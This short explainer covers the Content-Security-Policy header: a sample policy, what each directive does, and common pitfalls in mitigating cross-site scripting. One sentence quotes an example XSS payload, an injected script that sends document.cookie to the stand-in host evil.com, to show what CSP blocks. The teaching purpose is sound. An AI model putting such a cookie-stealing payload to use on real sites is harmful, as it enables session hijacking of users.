What is the Content-Security-Policy (CSP) header and what attack does it primarily defend against?

CSP is a fine-grained allowlist that tells the browser which sources the page is allowed to load scripts, styles, images, fonts, frames, etc. from — its main job is mitigating cross-site scripting (XSS).

A minimal policy:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0m'; object-src 'none'

• default-src 'self' — load resources only from the page's own origin by default.
• script-src 'self' 'nonce-r4nd0m' — JS allowed from own origin, plus any <script nonce="r4nd0m"> tag the server emitted.
• object-src 'none' — block <object>/<embed> entirely (legacy Flash attack surface).

Why this beats XSS: even if an attacker injects <script>fetch('//evil.com/?'+document.cookie)</script> into your page, the browser won't run it — the script source evil.com isn't allowlisted, and the inline script has no valid nonce.

Pitfalls:

• 'unsafe-inline' defeats most of the point — don't use it.
• 'unsafe-eval' allows eval() and friends — avoid.
• Start in report-only mode (Content-Security-Policy-Report-Only) to catch violations before enforcing.

Tip: A perfectly-written CSP makes most reflected-XSS bugs unexploitable. It's the single biggest leverage point in modern web security headers — worth the engineering effort.